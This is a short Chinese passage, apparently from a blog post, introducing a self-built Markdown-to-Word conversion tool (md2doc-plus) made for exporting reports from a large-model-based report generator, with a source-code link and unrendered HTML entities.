项目源于我们开发的一款基于大模型的报告生成工具。由于需要将 Markdown 格式的内容导出为 Word 文档&#xff0c;而市面上缺乏合适的现成工具&#xff0c;所以决定自己开发一个Markdown转Word的工具。 &#x1fa77;源码地址&#xff1a;daydayup-zyn/md2doc-plus &#x1f…